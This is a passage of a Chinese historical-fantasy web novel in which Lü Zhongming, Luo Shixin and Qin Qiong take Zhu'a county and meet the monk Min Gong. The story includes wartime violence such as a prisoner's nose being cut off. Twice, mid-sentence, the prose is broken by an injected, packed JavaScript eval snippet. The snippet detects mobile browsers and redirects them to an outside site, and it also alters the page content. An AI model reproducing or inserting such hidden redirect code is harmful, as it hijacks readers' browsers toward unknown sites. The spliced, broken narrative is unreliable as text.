吕仲明只怕罗士信冲不出来,一时间哨塔上又箭如雨下,沉吟片刻后道:“你们在这里等我!” “不可!” 部下纷纷色变,吕仲明却丝毫不怕,逆着箭雨冲向城门,在马匹颠簸上拉开长弓,唰唰两箭! 那两箭先后离弦,却因吕仲明所在的方位,一箭直射,一箭斜掠,平地飞起后飞向木桥的吊索,吊索同时断裂,木桥轰然坠下!紧接着,罗士信带着手下的兵士,一身鲜血,冲杀出来! 罗士信爽朗大笑,吼道:“卢明月小儿!教你认识爷爷的本事!” 无数叛军冲上城门,万箭齐发,罗士信拍马狂奔,一名武将登上岗哨,怒吼道:“给我……” 话音未落,吕仲明一箭飞来,那武将哼也不哼一声,坠下岗哨! 罗士信吓了一跳,瞪着远处吕仲明,吕仲明却叫道:“走!” 双方人马汇合,遁入山林内。 天明时分,罗士信收拢部队,第一件事就是找吕仲明,出城的瞬间,那一箭实在太惊人,罗士信或许这辈子都忘不了那一幕了。然而找了半天,却不见吕仲明,部下将这个分队的战况一一回禀之时,罗士信不由得满脸匪夷所思的表情。 “我说怎么最后的木桥……” 部下道:“回禀罗将军,最后吕将军只用了两箭,就射断了绳索,为罗将军放下木桥,先前追兵出来时,吕将军当真是箭无虚发,不管是敌人的灯笼,弓手,主帅还是小兵,都是一箭,再没多的了。” 罗士信:“……” 罗士信走出树林,见吕仲明站在空地上,检视打扫战场后,被士兵们抬回来的战俘。 这些战俘有的是追出城外,被罗士信杀了个回马枪抓回来的,有的是被吕仲明一箭射下马去,破晓时士兵巡逻抓到的。 吕仲明放箭时俱手下留情,一箭贯穿了对方右肩膀,废去其行动力,让他无法再拿起武器动手,是以俘虏大部分还活着,又有不少出城追击,见情势不对便投降保命的,这时候都被重重捆绑起来,跪在地上。 “做得好。”罗士信道。 吕仲明心事重重,抬头看了罗士信一眼,点头。 “战俘怎么处理?”吕仲明问道。 罗士信此刻已不再把吕仲明当做小孩看,答道:“昨夜袭营后,对方士气已渐低落,十万大军,都是乌合之众,你我入夜再去捣乱一番,现在,先把他们处理一下。” 说毕罗士信便提刀,刀锋抵着敌军将领鼻梁,吕仲明道:“怎……怎么处理?” 那敌军将领看上去是个队长,忙不迭哀求道:“军爷,军爷饶命,小的家里上有老父,下有妻儿……军爷,小的们也是饿得不行,地被朝廷收缴了,跟着卢将军也只是想混口饭吃……” 一时间,未死之人纷纷朝罗士信求饶。 “军爷,行行好,给个机会罢……” “小的再也不敢反了,军爷把小的充军了也好……” “军爷,小的死了没干系,一家老小,可就要活活饿死了……” “算了罢。”吕仲明看得心下不忍,知道隋末天下起义军四起,大多都不是大奸大恶的亡命徒,只是连年饥荒,要么被杨广抓去充军,要么官府横征暴敛,逼迫良民,最后走投无路,才揭竿而起。 罗士信嘴角浮现出一丝变态的笑容,紧接着刀锋微微一挑。 那将领登时惨叫,朝后倒下,脸上喷出一条血线,鼻子被割了下来! 吕仲明:“!!!” “你……罗大哥!”吕仲明道。 罗士信漫不经心道:“把他们鼻子全割下来,黄昏时押着他们到祝阿县外去,再当着守军的面全杀了,县里不投降,就都是这个下场。” 吕仲明看着那将领脸上鼻子被削平了,剩下黑黝黝的两个洞,还在不住流血,容貌极其恐怖,禁不住心里生出一阵恶寒,罗士信要再削接下来的人,吕仲明却以弓回手一掠,叮的声响,架开罗士信长刀。 “你做什么?”罗士信的声音里带着危险。 “士可杀不可辱。”吕仲明道:“我求个情,别砍他们鼻子了。” 罗士信道:“这些人叛上作乱,就该想到会有此结果!” 说毕罗士信刀一挥,然而吕仲明的动作比他更快,叮的一声又架住了,这次罗士信彻底怒了,朝吕仲明吼道:“你是不是想造反了!” 吕仲明战战兢兢解释道:“罗大哥,我要是城里的人,看到自己被俘的战友死得这么惨,我应该会……死战到底,不会逃跑,也不会投降吧……这样容易增加咱们下一次战役的难度……呃……你……” “关你屁事!”罗士信还是第一次碰上有人顶撞他,登时一手卡着吕仲明脖子,把他狠狠一推,吕仲明也不是吃素的,劝不住罗士信,只得动手。留命并非吕仲明一时优柔寡断,又或是妇人之仁而起,而是先前想到罗士信活不过二十岁,吕仲明便反复在思考这个问题,终于鼓起勇气来阻止他时,也知道罗士信会是这个反应,早就作好了准备。 罗士信一动手,吕仲明马上抬臂格挡,罗士信吼道:“你他妈的敢跟我动手?!” 吕仲明叫唤道:“你今天割他们鼻子,哪天我要跟你一言不合,是不是也割我鼻子?” 罗士信咆哮道:“我现在就割你鼻子!” 两人互吼,说话间罗士信已给了吕仲明一拳,士兵们不敢上前劝架,只得站在一旁看,罗士信盛怒之下出手全无章法,吕仲明也不顾头不顾脑地拳来掌去,两人推搡摔倒,爬起来又朝对方头上揍,两个小孩一般,打得甚是难看。 “我爹说不能打头,会打傻的!”吕仲明大叫道。 罗士信正揪着吕仲明的衣领,要把他揍个彻底服帖之时,远处却有士兵冲来报信,喊道:“罗将军!秦将军来了!” 吕仲明听到秦琼前来汇合,登知来了救星,果然罗士信一听秦琼赶到,便把吕仲明朝树下一推,吕仲明摔得浑身泥,爬起来,示意士兵们先把俘虏带走。 不片刻,秦琼来了,秦琼率军追击王薄,在津梁一举破敌,大捷归来,摘下头盔,连夜急行军却是甚累,看见吕仲明时丝毫不诧异,说:“打得如何了?” 罗士信道:“马上就要把他打趴下了……” 吕仲明忙朝树后躲,不服气道:“别人都投降了,你还要割人鼻子……” 罗士信怒吼道:“我还要割你鼻子!你给我……” “别吵了!”秦琼怒吼道:“什么鼻子不鼻子的!我千里迢迢不吃不喝,一夜急行军跑这里来,是来听你俩吵鼻子的吗?” 秦琼一吼,两人都静了,只有罗士信一肚子火,瞪着吕仲明看。秦琼道:“你们昨夜袭营了?” 两人都不说话,吕仲明被揍了,罗士信也不理会他,还是副将上前,禀告了秦琼昨夜战况,秦琼十分惊讶,对吕仲明彻底改观:“没想到贤弟兵法了得,骑射一道也如此精湛。” “谢谢。”吕仲明一脸郁闷道。 秦琼道:“张将军让我来接应你俩,大家先把鼻子的事放一放,计划怎么拿下卢明月的乌合之众罢。” 本来按罗士信的想法,是在秦琼来之前连番打击对方士气,让卢明月闻风丧胆,偏偏吕仲明又不让他割人鼻子,当真是气炸了肺,秦琼看了一眼被割的战俘,便知是怎么回事,叹了口气,没说什么。 秦琼朝二人道:“押回去,给师父处置,就这么定了。罗成,你那疯子脾气也给我收收罢。” 罗士信也不说话,阴沉着脸,走开到一旁去。 黄昏时,数人在山涧里生起火,罗士信还因为割鼻子的事在一旁闹别扭,坐在小溪前,叼着根草杆,吕仲明也觉十分不是个滋味,盘膝坐着,悻悻发呆,朝罗士信那边偷看了一眼,只见罗士信也在偷看他,两人目光一对上,罗士信便扔了草杆,蓦地起身朝吕仲明走来,吕仲明知道要挨揍,忙叫唤道:“你要做什么!” “别吵架!”秦琼正在审问战俘,看到二人要打架,又劝住。 吕仲明忙避开罗士信,秦琼招手让吕仲明过来,两人问清楚战俘,城里有多少驻军,带兵的是谁,何处兵力薄弱,战俘们感激秦琼不杀之恩,一一招了,秦琼便宽大为怀,告知他们,不必担心性命以及鼻子等问题。 吕仲明看在眼里,心里庆幸,秦琼与罗士信的性格是两个路子,按罗士信的脾气,多半是问也不问,以残忍手段折磨完就拿来杀一儆百,但秦琼这么一处理,得到情报,己方既减少了不必要的伤亡,又留下了战俘的性命。 问完话以后,秦琼便和吕仲明单独坐在篝火前,问道:“你饿不饿?” 吕仲明被这么一提醒,才想起要饿死了,登时头昏眼花道:“饿……很饿。” “饿就去躺着。”罗士信讽刺道。 秦琼怒目而视,罗士信便不开口了。 秦琼拿出东西给吕仲明吃,拍拍他肩膀,小声道:“敢顶撞我那义兄弟的,十个手指数得出来,你胆子够大,不过下次想想别的办法,他脾气倔,应当也是真心佩服你,表面上打打架,动动手实属寻常,别往心里去。” 吕仲明与秦琼对视一眼,登时明白秦琼深意,也知道秦琼担心罗士信,这么嗜杀下去,总怕入了歧途,联想起张须陀的安排,又不得不佩服这老头子的识人,用人之能。秦琼与罗士信,刚柔并济,互相搭配,果然是取长补短。 “罗成。”秦琼朝罗士信道:“你昨夜进了县里,发现了什么?过来说说。” 罗士信这才过来了,三人在泥地里画出祝阿地形图,互相交流,然而这交流却是罗士信不和吕仲明说话,吕仲明也不和罗士信说话,双方默认听到对方说的,却不直接朝彼此开口,只和秦琼说。 说完以后,决定翌日清晨就去袭营,大家先睡觉,秦琼便分派了事后去巡军,剩下罗士信和吕仲明坐在小溪旁。 吕仲明想了想,决定跟罗士信缓和一下,但就不知道怎么开口,罗士信只是虎视眈眈地看着吕仲明,吕仲明心底又有点悚。片刻后,罗士信盯着吕仲明,开始脱衣服。 吕仲明:“……” 脱了上衣,罗士信又开始解腰带,吕仲明浑身不自在,这是什么意思?要光着身子摔跤还是要干嘛?孰料罗士信脱了衣裤,一身赤条条的,不理会吕仲明,径自走近小溪里去洗澡。 吕仲明目不转睛地看着罗士信,没想到罗士信穿着盔甲时看上去瘦削阴沉,脱光了还是挺有料的,一身肌肉精壮瘦削,当真是穿衣显瘦,脱衣有肉。远处水声响,吕仲明想到了什么,远远道:“罗大哥,小心水里有蛇。” 罗士信在远处似乎唔了声,吕仲明一夜未睡,困得不行,这夜秦琼为了不引起敌人察觉,全军都是就地露天休息,吕仲明便躺在石上睡了。 夜半时,似乎听见罗士信与秦琼的对话,秦琼约略道:“仲明未经战事,不可令其领兵突进……让他驰援更好……” “可以。”罗士信低沉的声音道:“他人虽墨迹,箭法确实不错……” 吕仲明困得睁不开眼,听了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“秦兄,是不是还有什么事没想通?”吕仲明想起自己所学,父亲讲论武学时曾说过,为将之人,在出战时须得解开所有心结,义无反顾地上战场。在两军未曾交锋时,哪怕有一点事情没想通,最后都可能酿成大败。 就像武学高手过招一般,“宁可一念进,不可一念停”。刹那间的犹豫,将导致全盘落败,在那犹豫的瞬间,须得摒弃杂念,不顾一切地进取,方有胜算。 果然秦琼叹了口气,答道:“不瞒你说,仲明,这是为兄第一次离开张老将军,独自带兵,与如此强敌抗衡。” 罗士信嗤道:“散兵游勇,怕他作甚?卢明月要有半点本事,也不至于前夜被老子们打得这般狼狈了。”说毕朝吕仲明一扬眉,示意他附和,吕仲明心道罗士信确实是一名勇将,在两军对垒时,胆气更为彪悍。 吕仲明寻思片刻,认真道:“秦兄,以少胜多之战,实属寻常,咱们乃是正规训练过的精兵,非卢明月这等乌合之众可比。以我性命担保,此战必胜。” 秦琼看了吕仲明一眼,吕仲明又道:“自牧野之战至今,项羽破釜沉舟,周郎火烧赤壁,谢安移陈少却,都是以少胜多的名役。” 秦琼一听此言,心中再无忧虑,抱拳道:“贤弟说得对,愚兄受教了,此战就请你照拂二位哥哥!” 吕仲明一笑,朝二人抛了个飞吻,罗士信脸色古怪,秦琼哭笑不得。 顷刻后,秦琼与罗士信同时喝道:“随我出战——!” 战鼓狂擂,秦琼与罗士信各带四千兵马,朝祝阿东西方向包抄而去,那一刻天蒙蒙亮,上万骑兵在平原上散开,铺天盖地,吕仲明见此壮阔之景,不由得豪气万千,喝道:“大家跟我走——!” 吕仲明率领两千士兵,开始正面突进,杀向城门。 双方第一轮交锋,城墙上飞箭如雨,密密麻麻地飞下来,吕仲明率领兵士们在奔马上弯弓搭箭,朝木楼上射去,有马匹疾驰之速助力,箭矢纷纷射上城头。拖住了敌方的主力部队,待得到了箭矢射程后,吕仲明又一声呐喊,士兵纷纷掉头,分作两队,沿着木墙下狂奔。 不片刻,远方响起厮杀,呐喊,吕仲明便知罗士信得手了。 整场战役出奇顺利,就像吕仲明所料一般,罗士信杀进城后,士兵遭到了卢明月的集合与抵抗,紧接着在密集的打压下,罗士信又破城冲了出来。 罗士信在城门外大吼道:“孙子人多势众,不可恋战!快跑——!” 吕仲明调转弓箭手队,前去接应,与罗士信一行汇合,登时祝阿县内战鼓轰响,四门一开,叛军惊天动地的掩杀出来。 卢明月几乎将手中的士兵全部派了出来,誓要将前夜偷营的罗士信一举截杀,以雪前耻,马蹄声令整个山头都在震颤,吕仲明一箭射去,放倒了敌君统帅,与罗士信沿着平原,一路狂奔。 “他们会追过来么?!”罗士信在奔马上朝吕仲明吼道。 “会!”吕仲明大声答道:“前天晚上咱们安排的火把……” 正说话时,叛军追上了官兵,双方在平原上一通厮杀,场面混乱至极,罗士信一身染血,从前锋阵中冲出来,吕仲明大声解释道:“他们以为咱们只有五千人……” 乱箭飞射,吕仲明本能地感觉到危险,顾不得再说,拉弓一箭,箭矢飞旋射去,将提着长刀,冲向罗士信的敌将登时落马,被奔马一顿践踏,生死不明。 罗士信看也不看吕仲明,学着他的动作朝他那边抛了个飞吻,一转身又杀回去。吕仲明马上喝道:“箭矢支援!” “杀——” 就在这时,埋伏许久的秦琼终于出战了。 秦琼带兵从追兵背后掩杀而来,叛军登时大乱阵脚,罗士信悍不畏死,带着自己的军队硬冲,吕仲明吩咐人收了弓箭,分作左右翼,包抄上去。 “卢明月死了——” “卢明月中箭身亡——” “莫再负隅顽抗——放下兵器,绕你们不死——” 上万人同时呐喊,声音惊天动地,叛军登时胆寒,联想起日前吕仲明那箭无虚发的神技,登时自乱阵营,将领大声喝斥,却奈何败势已成,自己人互相踩踏,推搡,败兵散入山林之间。 “别追了!”秦琼喝道:“夺城!” 罗士信这才悻悻一摆长槊,掉头冲向祝阿城内。 叛军一败,吕仲明便率军绕过战阵,赶往祝阿,城内已人心惶惶,吕仲明到得城外时,木制闸门倏然大开,一群农民军手持锄头,镰刀冲了出来,吕仲明登时吓了一跳,手下纷纷弯弓搭箭,吕仲明道:“且慢!” 部下被制住,农民军那动作显然是自发的,纷纷看着吕仲明,又有人怕了,后退一步,紧接着跑路的人越来越多,有的朝城里躲,有的朝城外跑。纷纷作鸟兽散。 吕仲明知道卢明月肯定是趁乱逃了,也不打算再等秦琼,吩咐道:“随我入城去。” 然而下一刻,城里走出一个老僧人,站在木门前。 “吕将军?”那老僧人垂着花白的眉毛,眯着双眼,眼睛抬也不抬,手里拈着一枚五光十色的琉璃珠。 老僧人身边,跟着一只通体白色,足有野狼般大的白犬。 吕仲明本能地感觉到了危险,左右看看,秦琼与罗士信还在远处,回援不及,暗道怎么办?正主儿这么快就来了? “不错!正是我家吕将军!”部下道:“兀那和尚,快快让路!莫要拦阻官兵剿匪!” 吕仲明一抬手,示意部下噤声,知道该来的总是会来,这人必然是佛门中的重要人士,只不知道是谁……秦琼与罗士信来了也没用,他俩终归是凡人。 吕仲明翻身下马,老僧人便双手合十,朝吕仲明一礼。 吕仲明站定,双手一合,以左右手抱拳,内掐子午诀,外作太极图,朝那老僧人一躬身,同时心念电转,想到无数个念头:佛家也并非都是一伙的,自己在玄门内被封住一身修为的事,这老和尚知道不?他是谁座下的? 就在行礼的瞬间,吕仲明又注意到老者似乎实力不强,然而手中的那枚法珠,确实是了不得的法宝,还有身边带着的白犬…… 7. 第六回:闵公 白犬一直警觉地盯着吕仲明,吕仲明真身乃是天地神兽,位于食物链最顶层,除了两名父亲之外,哪怕是凤凰玄武,见了都要让他三分,想必此时那白犬更怕,便不甚在意。 “老朽替祝阿全城百姓,前来求吕将军一诺。”那老僧人道:“上天有好生之德,卢明月聚众作乱,乃是情非得已,天道使然,想必吕将军也知江山气数,此城内百姓本是无辜,求吕将军网开一面,留下全城百姓性命。” 吕仲明不知道按照大隋的法令,祝阿城中叛乱,百姓该当如何处置,然而这老和尚话中之意,他是清楚的,隋朝气数已尽,犯不着再造杀孽了。 主帅还没到,吕仲明尚无法承诺他,便道:“天道不仁,并无好生一说,但人非草木,孰能无情?待秦将军来后,我会代为转告,法师请。” 那老和尚抬眼,看着吕仲明,颇有点意外,旋即缓缓点头,城内又出来一名妇人,失声道:“闵公!快回来!与官兵是说不通的……” 吕仲明此刻方知此人名叫“闵公”,看他蹒跚步伐,又不像哪个大BOSS,便心思复杂地目送闵公回城里去,那头大狗摇了摇尾巴,临走时还看了吕仲明一眼。 吕仲明进了城,只见祝阿县城内一片萧条之景,凡有农夫被卢明月的叛军抓来做徭役,建筑工事的,见了官兵便作鸟兽散,吕仲明要找个人问话,百姓都是跪在地上苦苦哀求。 “不杀你。”吕仲明道:“我就问个事,闵公是谁?” 被问到话的农夫战战兢兢道:“闵公是我们这儿的活菩萨,三年前就来祝阿了,住在山上一座破庙里……军爷您饶命……小的家里……” “都回家去。”吕仲明吩咐道。 官兵一进来,整座城里都静了,片刻后秦琼与罗士信追杀完残兵,带领手下兵士进城里来,吕仲明便朝秦琼分说了此事,罗士信皱眉道:“不抓人,怎么回去交代?” 秦琼沉吟片刻,答道:“再说罢。” 秦琼没有再多问,只是让二人先休息,又让手下去接管城防,清查城内叛军,军营内放了饭,吕仲明便揣着两个馒头,到哨塔上去吃。 罗士信正坐在栏杆上,见吕仲明来了,便朝一侧让了让,城外到处都是尸体,远处有一身穿破烂袈裟的僧人,正在念经超度死者。 抓不到叛军,就只能拉百姓去充数,隋兵讨要军功,只得如此,多半自上而下,沿袭多年,也毫无办法。然而百姓又有什么错?吕仲明设想若换了自己是个寻常人,一家人吃不上饭,来了伙叛军把城里占了,又被官兵打跑了,官兵抓不到叛军,却把自己父母被抓去顶罪,无缘无故地抓去杀头,实在受不了。 但吕仲明也知道跟罗士信说这些也没什么用,有的人活着就是为了打仗杀人,有的人活着就是为了织布种田,打仗对罗士信来说,已经是他的职业。他不会去想什么百姓无辜,天下人可怜之类的话,让他带兵杀人,他就去杀人,杀完了人计件算酬,就这么简单。 反倒是秦琼的原则与罗士信不一样。 吕仲明与罗士信一同望向战场上,官兵正在打扫战场,那老和尚带着他的白犬,正在场中穿行。 每经过一具尸体,闵公便躬身下来,抚过士兵的脸。 罗士信皱眉道:“秃驴在做什么?” 吕仲明道:“他在超度战场上的亡魂,这么一来,城外就不会有恶鬼。” 罗士信嘲笑道:“人都死了,还要超度鬼?” 吕仲明看见远方,闵公手中拈着的琉璃珠发出五彩光泽,在蒙蒙细雨里氤氲出一个光晕,身后竟是有佛光笼罩,隐约现出不知哪位佛门大菩萨的法相,便知闵公来祝阿,事情绝不止这么简单。 他也知道罗士信看不见佛光,便不解释,就在这时,两人忽然发现了秦琼,秦琼正在祝阿县外,与闵公交谈,远远的不知说了什么,秦琼便转身离开。 吕仲明马上下了岗哨,去找秦琼,秦琼摘下头盔,回到城内,被吕仲明截住,未等二人开口,秦琼便道:“没什么事,闵公请咱们仨,到城西的空慈寺里去喝杯茶。” “俘虏多少人?”罗士信问道。 “四百四十一人。”秦琼道:“数目太少了,没法向朝廷交代。” 吕仲明要说点什么,罗士信的手指却微微一紧,使出些许力道,示意他别吭声。 罗士信一脸戾气,说:“我去逮几个回来,你俩不必插手。” 吕仲明一听就知道罗士信要自己担了这干系,去把良民抓回来,捆回朝廷给杨广交代,罗士信知道他俩做不出这等事,便打算自己去。 秦琼道:“罢了,百姓何辜?再想办法罢。” 罗士信反问道:“能有什么办法?你倒是先想一个?” 秦琼道:“先去见见闵公,此事不忙,反正还有几天才回去。” 细雨纷飞,闵公所住之处,乃是祝阿县中一处山坡,山上有一破庙,庙中已有近百年未有人居住,听本地人所言,闵公自打来到此处,便弘扬佛法,替百姓治病,更在灾荒年间,说动官府,开仓赈济。 秦琼知道不可托大,便嘱咐吕仲明与罗士信,须得客气礼貌。 进了空慈寺,寺中一片静谧,茫茫青山,笼在一层烟雨之中,那白犬踞于寺后荷花池畔,闵公正在亭内煮茶。院中立着一座破败佛像。 秦琼双手合十,吕仲明却是静静站着,看了那白犬一眼。 “闵大师。”秦琼道。 “三位将军请坐。”闵公慈眉善目,白眉垂鬓,作了个手势,吕仲明坐下,拿起一杯茶时,转头端详院内佛像。 “这是哪位佛?”吕仲明问道。 闵公如是答道:“地狱不空,誓不成佛,空慈寺内供奉的,是地藏菩萨。” “啊……”吕仲明当即明白过来了,一瞥菩萨像,又转眼一瞥白犬。那白犬自吕仲明入亭内,便表现得全身不自在。 “闵大师有何吩咐?”秦琼道。 “吩咐不敢当。”闵公垂下眉眼,将茶先是端给吕仲明,再递给秦琼,最后才是罗士信,又道:“秦将军,罗将军二位,年少才俊,天纵英才,未及弱冠,便有此成就,实乃人中翘楚。只不知二位为何而战?” 吕仲明沉默啜了一口茶,这话也是他一直想说的,秦琼道:“闵大师何出此言?我等乃是大隋将士,自当为国尽忠。” 闵公缓缓道:“秦将军,罗将军,两位是为陛下尽忠,还是为了天下百姓尽忠?” 罗士信脸色一变道:“你这是什么话!” 罗士信翻脸如翻书,一听出闵公话中有话,便要动手,吕仲明与秦琼忙同时抬手,拦住罗士信。 秦琼道:“闵大师请说。” 闵公笑道:“两位,我不过是糊里糊涂一老头儿,至今已痴活了八十一载,这条命,迟早是要交去的,今日但请罗将军听完我一席话,就算将我抓回去治罪,又如何?” 吕仲明心知有那枚琉璃珠,以及亭里的白犬保护,要把这老和尚抓回去治罪决计不容易。不过是嘴上说说罢了,遂笑了笑,没说什么。 闵公又道:“隋家气数已尽,如今天下,与官兵作战的,都是百姓,百姓无依无靠,为活命,不得不与官兵对抗,两位既与吕道长作一路,想必也知来日天下困境……” “我没有说过。”吕仲明插口道:“只知顺应天道,不可逆天而行则以。” 闵公抬眼一看吕仲明,吕仲明微一笑,时至此刻,他已约略猜到了闵公所属阵营,便开口问道:“请教闵大师,地藏菩萨对天下之势如何说?” 闵公一手竖掌道:“地藏菩萨于世无争,对天下并未有言托付,乃是老朽谶越了。菩萨有大愿心,大愿力,唯望承载世人苦难,渡尽众生。但地藏菩萨,有一言令老朽转告吕将军。” 吕仲明略一迟疑,闵公又道:“然而人间大乱将起,菩萨知吕将军重任在身,无论如何,都请吕将军善待生灵,不以无辜百姓性命,作博弈天下的棋子。” 吕仲明知道闵公的意思说穿了就是,地藏不来惹你,你也别在人间动不动就放禁咒出大招,轰死老百姓。吕仲明脸色阴晴不定,自己本来也没打算这么做,但只要这时候一点头,感觉却像是被闵公威胁挤兑了一般。 “三位将军,请看这祝阿城内。”闵公道。 闵公示意数人望向山下的祝阿,荒田绵延直至天际,烧稻草冒出的浓烟滚滚而起,百姓哭声远远传来。 “田地荒废,无人耕作,家中男丁,十去九空,尽剩下妇孺老者。”闵公道:“整个天下,不知道还有多少像祝阿一样的地方,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563115|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少人在受苦。吕将军,凡间已再经不起再一次两教的封神之战了。” “我知道了。”吕仲明如是说。 闵公道:“老朽替菩萨,替天下百姓,感激吕将军大德。” 吕仲明看到闵公行礼,反而有种哭笑不得的感觉,似乎佛家是在行善,只有他是来杀人似的。然而转念一想,穿过玄门,带着一堆法宝过来的时候,自己最初不正是这么想的么?管它什么隋唐天下,谁家江山,把山河社稷图一祭出来,轰轰烈烈地碾压过去。 佛道两家一旦明面上开战,势必殃及无辜凡人。直到此时,吕仲明才意识到,自己不得不重新调整战略。 “不必再说了。”秦琼喝完茶,答道:“闵大师,这就告辞。” 闵公垂眼微笑道:“恭送三位将军。” 三人喝完茶下来,吕仲明还在思考,罗士信却道:“光是那老头说的话,就够治个死罪了。” 秦琼道:“你打算将他带回去?这就去动手罢。” 罗士信迟疑片刻,瞥了吕仲明一眼,问道:“他身边的狼是否不好惹。” 吕仲明没想到罗士信眼睛还挺厉害的,遂答道:“是,你也看出来了?” 一个老和尚,身边带着一只体型那么庞大的,通灵的白犬,一看就不似常人,是以罗士信也没有轻举妄动。秦琼站在山腰上,沉默良久,而后问吕仲明道:“闵公说的,是真的么?” “嗯。”吕仲明道:“不久后,隋家天下即将四分五裂,陷入群雄争霸的局面。” “什么?”罗士信仿佛不认识般地看着吕仲明。 吕仲明道:“以数件事的发生为转折点,隋朝江山失其栋梁,天下各路英杰起兵反隋,杨广躲在扬州,最终被义军……那啥了。”说着作了个削的手势。 “什么时候?”秦琼与罗士信都似乎听到了天大的笑话。 “快了。”吕仲明道:“最多不过三五年。” 吕仲明不敢把时间说得太清楚,虽说以自己的身份,泄露天机已不会引来雷劫,但泄多了,终究有点惴惴不安,心里没底。 “你信?”罗士信嘴角抽搐,看看秦琼。 秦琼道:“你怎么不早说?” 吕仲明:“咱们第一天认识的时候,我就对你说过。” 罗士信嗤道:“装神弄鬼,你和那老秃驴都得被关起来。” 说毕罗士信摘了头盔,走下山去,走出几步,忽然又站定,回头道:“你说真的?” 吕仲明沉默,看着罗士信双眼,眼中意思一目了然:你看我像是在和你开玩笑吗? 正在这沉默中,一名士兵快步上山,喊道:“秦将军!罗将军,荥阳来了军情!张大人已得战报,吩咐两位速速起行,回荥阳汇合,镇压瓦岗叛军!” 吕仲明登时心中一凛,知道这回正主儿来了,瓦岗军是一支劲旅。这次张须陀面对的敌人,非是卢明月这等乌合之众可比。 秦琼道:“先不管战俘的事了,回去再说,走罢。” 吕仲明没再说什么,与二人下山,秦琼搭着吕仲明肩膀,似乎有心事,罗士信也有心事,走出几步后,忍不住回头,想到了某个证据,以反驳吕仲明与闵公的那套“大隋必亡论”。 罗士信道:“师父为大隋征战多年,有他在,大隋就不会倒。你倒是说来听听,师父怎么可能不管?” 吕仲明先是躲开几步,躲在秦琼身边,说:“你……罗大哥,你想听真话还是假话?” 罗士信:“……” 秦琼道:“你说罢,你将罗成当做自家兄弟就成,他不会出卖你。” 吕仲明惴惴道:“虽然很遗憾,但事实确实是……他最后战死沙场了。” 秦琼:“……” 罗士信:“……” 罗士信嘲笑道:“放屁!能让师父战死,难不成我们也战死了?” 罗士信看着吕仲明,吕仲明提心吊胆看着罗士信,不说话,那一刻,罗士信的脸色变了。 “我也会战死?”罗士信颤声道。 吕仲明战战兢兢道:“理……理论上是,不过我不会让你死的,到差不多的时候,我会提醒你……那场战役,你别去就行了……你看这样成么?罗大哥……” 罗士信:“……” 8. 第七回:寻药 路边升起篝火,吕仲明,罗士信与秦琼三人坐在火堆旁,还有两日行军便能到荥阳。自那天从吕仲明口中约略得知自己的命运后,罗士信便仿佛遭到了重大的打击,一路以来一声不吭。秦琼虽然表面上看上去倒是还好,然而吕仲明知道他内心实在也是心事重重。 “命这玩意。”吕仲明安慰道:“信则有,不信则无,不必太放在心上。” 秦琼问道:“师父会在何时战死?” “忘……忘了。”吕仲明心虚道。 他确实忘了,张须陀此人,最初自己便不太在意,谁会去研究一个不那么出名的NPC是怎么死的?吕仲明虽然读过不少关于唐代的典籍,但记忆力终究有限。若问他杨广是怎么死的他记得,张须陀怎么死的……实在是想不起来了。 然而罗士信的遭遇,吕仲明是记得的,当初还唏嘘了许久,现在打定主意,要挽回罗士信不降而亡的悲剧命运,心道既然以后会一步步地发生改变,现在其实也不必说太多。 罗士信的侧脸笼罩在明暗跳动的篝火光芒中,不知在想何事,吕仲明道:“其实我是胡诌的,哥哥们别太相信我。” 秦琼与罗士信又都看了吕仲明一眼,吕仲明这话说得也心虚,三人之间心照不宣,都知道吕仲明不是在开玩笑。 秦琼道:“我知道你不是胡诌,换了信口雌黄的人,会说‘天机不可泄露’,而你,答的是‘忘了’。” 吕仲明:“……” 秦琼道:“所以你一定早就知道许多事。” 罗士信终于开口问道:“从何得知?推算之术?” 吕仲明始终没有太详细交代来历,只含糊说了自己是修道之人,但秦琼是知道的,少年遇仙一事,也朝罗士信说过。吕仲明总不好说自己是从后世来的,便解释道:“是,测算之术,多少会一点,而且涉及国家,江山气运,总能看出来的。闵公也知道这事。” 罗士信:“我是怎么死的?” 吕仲明想了想,说:“也忘了,但我会小心点,不让你死。”说着拍拍罗士信肩膀,笑道:“有仲明在,相信罗大哥定能安享天年。” 罗士信自嘲般地笑笑,说道:“想给我逆天改命?就怕命中注定的,逃不过这一劫。” “逆天改命。”吕仲明道:“倒也不是不可能,但是被改命之人,须得心有所悟,跳出自己原先的轨迹。我们道家庄子说‘画地而趋’,便是划地为牢之意,人生下来,就在自己画的这个圈子里,绕来绕去,都绕不住既定的命。唯有一天悟道了,懂了,方能走出来。” “怎么说?”秦琼问道。 吕仲明躺了下来,躺在山坡上,看着天顶璀璨的星河,侧头看着秦琼,随口道:“就像闵公问你们的那句话,两位将军,为何而战?想通了,就好办了,你的性格变了,原本是为了讨一口饭吃,才打仗。后来,你觉得要为了天下百姓打仗,性格不一样了,抉择,取舍也会有所改变,有时候一个微妙的小念头,就会让自己走上全然不同的道路,一些本来会深陷其中的泥潭,也不会再走进去了,自然就不会再重复从前那个你,即将走上的老路,对不对?” 罗士信随口道:“没想过这些,杀人开始只是为了报仇,要么就是保命,后来是为了混口饭吃。杀猪杀牛的人,你有没有问过他,为什么当市卖肉?织布的人,你有没有问过,她为何织布?” 秦琼出神地望着天顶的星空,喃喃道:“不瞒你说,仲明。自你来到我帐中那天,愚兄不知为何,便总想着这件事,我与罗成十三四岁从伍,行军多年,得张老将军授艺,却未曾认认真真想过,未来该当如何。你说,隋家注定是要亡的,轻描淡写,就那么信口说出来了,仿佛是理所当然的事,为兄便禁不住想,我为大隋打了这么多年的仗,还有什么意思?” “罗成。”秦琼又看着罗士信,叫了他一声。 